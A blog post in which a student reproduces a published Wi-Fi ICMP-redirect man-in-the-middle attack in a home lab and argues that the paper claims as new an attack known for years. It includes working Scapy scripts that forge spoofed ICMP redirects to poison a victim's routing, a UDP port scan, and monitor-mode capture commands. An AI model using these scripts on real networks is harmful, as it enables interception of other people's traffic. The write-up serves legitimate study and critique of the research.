ICMP and Fishy Publications
Recently I took a class where we had to read a cybersecurity related paper, understand it and then give a presentation on it. The one assigned to me was called “Man-in-the-Middle Attacks without Rogue AP: When WPAs Meet ICMP Redirects”. Diving into it, I was quite surprised about its findings. The researchers describe how they
uncover a new MITM attack that can evade the security mechanisms in Wi-Fi networks by spoofing the legitimate AP to send a forged ICMP redirect message to a victim supplicant and thus allow attackers to stealthily hijack the traffic from the victim supplicant without deploying any bogus AP.
The paper was quite well written and the attack seemed straightforward, to such a degree that I wanted to try it out myself. From searching online a bit I noticed that one of the authors of the paper had also made a page for this paper, where they also showcase a video of their attack. There I could see that they were using Python to carry out the whole thing, which motivated me even more to try and implement it myself.
The Attack
The attack itself boils down to leveraging the Internet Control Message Protocol (ICMP) to trick an access point (AP) into forwarding a packet to victim machine, and fooling that machine into thinking that the ICMP message came from the access point.
Some Necessary Background
Some background into ICMP is necessary for this attack. It’s usual purpose is to relay status messages and other operational information within a network. For example, the well know ping
command uses ICMP messages to figure out if the destination is reachable. One other function that ICMP supports is sending redirect messages that are meant to improve the network performance via optimizing the forwarding paths.
One legitimate scenario where this functionality would be used is when let’s say your laptop tries to send packets to some remote destination through its default gateway, that gateway discovers that it uses another gateway on the same network to forward the packets. So the default gateway will issue an ICMP redirect message to inform your laptop that the best next hop to the remote destination is using the other gateway. Once the received ICMP redirect message passes the legitimacy checks, your laptop updates its routing and forwards its subsequent traffic to the other gateway.
During the legitimacy check, the laptop verifies that the Source (IP) Address is from the current (default) gateway and that the ICMP message’s body contains at least the first 28 bytes of a previously sent packet.
(source: https://wifi-interception.github.io/resources/ICMP-check_00.png)
Spoofing
As it turns out the source address can be spoofed (unsurprising) and the 28 bytes are exactly the correct length to fit an IP and UDP header. So if one filled it with an IP header for an open UDP service on the victim (mDNS, DHCP, NTP, SNMP, …) then one could create a valid and malicious ICMP redirect packet.
(source: https://wifi-interception.github.io/resources/evasive-ICMP_00.png)
Link Layer and the 4 Addresses
They say that in a wired connection setting this spoofed ICMP redirect might be enough to poison a victim’s routing table, but in a wireless setting there’s per-hop encryption applied by WPA that still needs to be defeated. To do that, they describe leveraging the fact that 802.11 frames can have up to 4 addresses in the MAC header.
(source: https://wifi-interception.github.io/resources/link-interactions_00.png)
The source and destination addresses serve as devices that are the ultimate source and destination of this frame. Since these headers can also be spoofed, the attacker can arrange these headers so that the victim receives the ICMP redirect and learns from it that the attacker is the optimal gateway and should transmit further traffic first through the AP and then to the attacker.
The Final Attack
So putting the two pieces together it forms the attack described in the paper.
(source: https://wifi-interception.github.io/resources/steps_00.png)
Since there was no source code included with the paper nor on the paper’s site, I had to reimplement the attack on my own based on just the descriptions and illustrations in the paper. This took a good amount of time and nerves. My main confusion was how to add all four MAC headers to the network packet the way they were described. I finally managed to get the attack to work thanks to some pointers from one of the authors that I’d contacted.
Running this on the attackers machine I managed to poison the route for an individual IP address of another machine (running Ubuntu 19.04, an old enough version where this vulnerability still existed) in my home network, for 300 seconds.
from scapy.all import *
attacker_ip = "192.168.1.108"
remote_ip = "17.10.10.10"
victim_ip = "192.168.1.118"
gateway_ip = "192.168.1.1"
iface = "wlp4s0"
# Create the ICMP redirect message
ip = IP(src=gateway_ip, dst=victim_ip)
icmp = ICMP(type=5, code=1, gw=attacker_ip)
UDP_IPHeaders = IP(src=victim_ip, dst=remote_ip)
udpPacketHeaders = UDP(sport=68, dport=68) # destination port can be set arbitrarily
udpPacket = UDP_IPHeaders/udpPacketHeaders # <- this is exactly 28 bytes long
assert len(ip/icmp/udpPacket) == 56
# Compose the ICMP redirect message
icmpRedirect = ip/icmp/udpPacket
send(icmpRedirect, iface=iface)
Where Things Get Fishy
I think right around when I got the attack to work I stumbled on other implementations of the ICMP redirect attack that looked EXACTLY like what I had implemented. As I mentioned, I had contacted one of the authors of the paper for help (let’s call them person A) and they provided me with a code snippet that they used for testing. In their email they say:
We tested the attack as follows. First, you need to check whether the victim machine enables ICMP redirects by looking at the corresponding values. Only when the value is set to 1, can the following attack succeed.
/proc/sys/net/ipv4/conf/all/accept_redirects
/proc/sys/net/ipv4/conf/default/accept_redirects
/proc/sys/net/ipv4/conf/eth0/accept_redirects
Second, check the route of your victim machine with the following command.
ip route get 12.9.9.9
Third, to simplify the case, you can abuse another stateless protocol (ICMP echo reply) in your payload as the UDP port you have specified in your script may not be open when you are testing. You can just execute this command on your attack machine’s terminal.
sudo scapy
send(IP(src='192.168.1.1',dst='192.168.1.61')/ICMP(type=5,code=1,gw='192.168.1.100')/IP(src='192.168.1.61',dst='12.9.9.9')/ICMP(type=0,code=0))
Third, capture packets on your attack and victim machine to make sure the packet has been received by the victim. Then check the route of your victim machine again to check whether the attack succeeds.
ip route get 12.9.9.9
Since this small script DID actually work, it started to raise questions. Firstly, it doesn’t set the 4 MAC addresses the way it is described in the paper. Nor does it do the forged PING request that’s supposedly necessary for the attack. And lastly, how can this attack be ’new’ and ‘uncovered’ if there are resources like this, this or this that predate the paper (published sometime around May 2023) by multiple years.
When I asked person A if they used the Dot11 module of Scapy to create a WLAN 802.11 frame with the four MAC addresses and whether those two lines of code were the full attack they responded by saying
We do not use the Dot11 module in the attack. We use Scapy to create an ICMP redirect packet. The two lines of script is not the full attack, but a simplification case. We can also use other stateless protocols (e.g., UDP) as the ICMP payload (refer to the paper). I omit the initial forged PING request in the step as Linux has a default entry in its routing table.
Ok, I can see that the shared script is a simplification, as the video also shows that their full script also sets up a DNS server for the incoming request and probably something else, but I assume those two lines of code are the crux of their attack - why else would they share it. The response also didn’t address how they set the 4 MAC addresses for the attack, so I pushed on asking how they implemented it. However, person A stopped responding to my emails after that.
After multiple attempts of getting a reply, I decided to ask the other authors of the paper. Luckily out of the 4 other people, one (let’s call them person B) decided to answer and also seemed to be aware that I had been communicating with person A. I’d sent them my code where I attempt to create the 802.11 frame with 4 MAC addresses and asking help with making it work.
from scapy.all import *
my_mac = "28:16:ad:0c:fe:53"
gateway_mac = "a4:05:d6:17:c6:f1"
victim_mac = "34:02:86:e0:a7:30"
my_ip = "192.168.1.101"
remote_ip = "12.9.9.9"
victim_ip = "192.168.1.62"
gateway_ip = "192.168.1.1"
iface = "wlp4s0"
def sendSpoofedICMPredirect(openUDPPort):
print("Using open UDP port " + str(openUDPPort) + " to send spoofed ICMP redirect")
# Create WLAN frame
wlan = \
RadioTap() / \
Dot11(type=2, FCfield=3, addr1=gateway_mac, addr2=my_mac, addr3=victim_mac, addr4=my_mac) #/ Dot11Elt(ID="DSset", info="\x03")
# Create the ICMP redirect message
ip = IP(src=gateway_ip, dst=victim_ip)
icmp = ICMP(type=5, code=1, gw=my_ip)
# Create spoofed UDP packet
UDP_IP_Headers = IP(src=victim_ip, dst=remote_ip)
udpPacketHeaders = UDP(sport=openUDPPort, dport=68) # destination port can be set arbitrarily
udpPacket = UDP_IP_Headers/udpPacketHeaders # <- this is exactly 28 bytes long
assert len(ip/icmp/udpPacket) == 56
# Combine everything and send the packet
spoofed_ICMP_redirect = wlan/ip/icmp/udpPacket
print(spoofed_ICMP_redirect.show2())
print("\nSending spoofed ICMP redirect")
sendp(spoofed_ICMP_redirect, iface=iface)
def print_ports(port, state):
print("%s | %s" % (port, state))
def findOpenUDPports(target, type="common"):
# Scan the ports
if (type=="ranged-scan"): ports = range(1, 1024)
else: ports = [53, 68, 681, 5353, 38837, 43800]
open_ports = []
for port in ports:
pkt = sr1(IP(dst=target)/UDP(dport=port), timeout=2, verbose=0)
if pkt == None:
print_ports(port, "Open / filtered")
open_ports.append(port)
else:
if pkt.haslayer(ICMP):
print_ports(port, "Closed")
elif pkt.haslayer(UDP):
print_ports(port, "Open / filtered")
open_ports.append(port)
else:
print_ports(port, "Unknown")
print(pkt.summary())
return open_ports
def send_ping(destination_ip, source_ip):
packet = IP(dst=destination_ip, src=source_ip)/ICMP()
send(packet)
# Stage 1: Create cache entry by sending a spoofed ping
send_ping(victim_ip, remote_ip)
# Stage 2: Find open UDP ports
open_ports = findOpenUDPports(victim_ip, "common")
# Stage 3: Send the spoofed ICMP redirect(s)
for open_port in open_ports:
sendSpoofedICMPredirect(open_port)
Their response was:
Thank you for reaching out and expressing interest in our paper. Upon reviewing your source code, I believe there are several factors contributing to your difficulty in reproducing the attack:
Firstly, as mentioned by person A previously, our attack operates at Layer 3 and does not necessitate specifying Layer 2 MAC address information. Simply filling in the corresponding IP, ICMP, and UDP headers within the spoofed ICMP packet should suffice.
Secondly, ensure that ICMP redirect is enabled on your victim. You can confirm this by executingcat /proc/sys/net/ipv4/conf/all/accept_redirects
.
Lastly, ascertain that the AP router is not blocking the spoofed ICMP redirect issued by the attacker. Following our vulnerability disclosure, certain AP vendors may have patched this vulnerability and consequently blocked the spoofed message.
So as far as I can tell,
- the 4 MAC addresses described in the paper as being a necessary part of the attack, are not necessary
- their description of their attack aligns with the payload given to me by person A, which itself is an attack known for a long time.
When I tried to get person B to confirm if a new script, that is functionally equivalent to the one they shared to me, is essentially their attack, they stopped responding to my mails. I even went as far as asking my Chinese friend to write an email in Chinese to the authors, asking if the simple 2 line attack is their attack and how they implement adding 4 addresses to a 802.11 frame.
In their “Related Work” section they mention that there’s been other ICMP redirection attacks but they disregard those by saying
The ICMP redirect mechanism was abused previously to perform a MITM attack to hijack a victim’s traffic. However, previous ICMP redirect attacks can only succeed in the outdated hub-connected Ethernet in which attackers can eavesdrop on the victim’s traffic to craft an evasive ICMP redirect message, or the victim does not perform any legitimacy checks on the received ICMP redirect messages.
It is funny to state that and also share a payload that functionally equivalent to one that’s used in multiple of their references (example 1, example 2, example 3).
My Own Experiments
The missing 4 MAC addresses and other claims made in their paper did not give me rest and so I borrowed a USB Wifi adapter that support monitor mode from a friend to make sure I have the full picture before writing this post.
When reading up on capturing traffic with Wireshark, I noticed a paragraph saying
Without any interaction, capturing on WLAN’s may capture only user data packets with “fake” Ethernet headers. In this case, you won’t see any 802.11 management or control packets at all, and the 802.11 packet headers are “translated” by the network driver to “fake” Ethernet packet headers. (source)
So when before I was looking at the ICMP redirect packet in Wireshark I was seeing it with fake Ethernet headers. This lead me to creating this testing setup.
I set my home wifi network to use WPA2 so that I could be sure that I can decrypt captured traffic. I set my adapter to monitor mode and listening on channel 11
sudo ip link set wlxa86e847137c5 down
sudo iw wlxa86e847137c5 set monitor
sudo ip link set wlxa86e847137c5 up
sudo iw dev wlxa86e847137c5 set channel 11
sudo airodump-ng wlxa86e847137c5 --channel 11 --write dumpfile
I then restarted the networking service of both the attacker and victim to force them to do a 4-way EAPOL handshake where they authenticate and set up all required keys for the client-AP link to be encrypted. Observing this negotiation and knowing the Wifi password allows decrypting the recorded traffic (need to enable decryption Wireshark from Edit->Preferences->IEEE 802.11 and add the network password there as wel ).
This step took a while to get working because what I didn’t know was I had the wpa_supplicant.service
interfering with the monitoring. Thankfully someone online had posted an easy way to fix this.
$ sudo airmon-ng check
Found 4 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
948 avahi-daemon
971 avahi-daemon
1003 NetworkManager
1004 wpa_supplicant
$ sudo airmon-ng check kill
Killing these processes:
PID Name
1004 wpa_supplicant
This is the decrypted traffic of the attack observed by the monitoring device.
With this packet I can finally see the 4 MAC addresses talked about in the paper and shown in step 2.1 of the previous diagram. Keep in mind, throughout this whole time I’ve been using the 2-line Python script to conduct the attack. So there really is no MAC address setting required for this attack that’s been out there for 10+ years. I’m not quite sure why Wireshark only shows the packet originating from the AP, but it might be due to it assuming that no reasonable host would send out a ICMP redirect and it surely must come from the AP.
In comparison, this is the ICMP redirect attack packet that I was seeing before in normal (managed) mode from the attacker’s perspective.
Free CVE’s? A New Rabbit Hole
While writing this post I by accident stumbled upon one of the authors’ personal pages where they list 5 different CVEs that are related to ICMP redirects. Being curious I opened them up [1,2,3,4,5] and saw that all of them had some Github link as its reference. I then tracked down where those references lead to and found that each and every one of them ended up at a Markdown document (1,2,3,4,5) where they showcase the attack against the respective routers using functionally the EXACT SAME payload that person A shared with me in the first place.
So this pretty much confirms for me, that the 2 lines of code that were given to me, are the actual ’new’ attack that authors of the paper describe. It is also functionally the EXACT SAME attack that has been known and used for 10+ years.
Secondly, since I managed to reproduce the attack in my home network, should I then also report my router to be vulnerable to this attack and get my CVE? Is this yet another example of how the CVE system is not serving its purpose? Well, this comes down to whether the routers are to blame for allowing such an attack.
According to RFC 1122
A host SHOULD NOT send an ICMP Redirect message; Redirects are to be sent only by gateways.
and the document defines SHOULD as
“SHOULD”
This word or the adjective “RECOMMENDED” means that there may exist valid reasons in particular circumstances to ignore this item, but the full implications should be understood and the case carefully weighed before choosing a different course.
So according to this, it’s up for debate whether routers should be by default blocking host-sent ICMP redirects. I can see an argument for access point manufacturers where anything that’s not a MUST is left by default as allowed and up to the end hosts to configure or mitigate. So no, I won’t be reporting this for my own CVE collection.
Conclusion
So this is where I am with things:
- I found out about a neat and simple MitM attack that actually works in some environments and under certain conditions.
- I learned a bit of Scapy and how easy and fun it is to craft or disassemble packets.
- I got to play around with wireless traffic sniffing in monitor mode
- I heavily suspect this research group published a paper where they knew about the existence of the ICMP redirect attack and decided to claim it as their own. They also don’t seem to follow the attack that’s in their paper.
Makes me wonder what other stuff they’ve published and whether it’s up to snuff. This whole thing also makes me question how many old attacks still work and how many can be claimed for easy CVEs and research/conference papers to pad people’s CVs.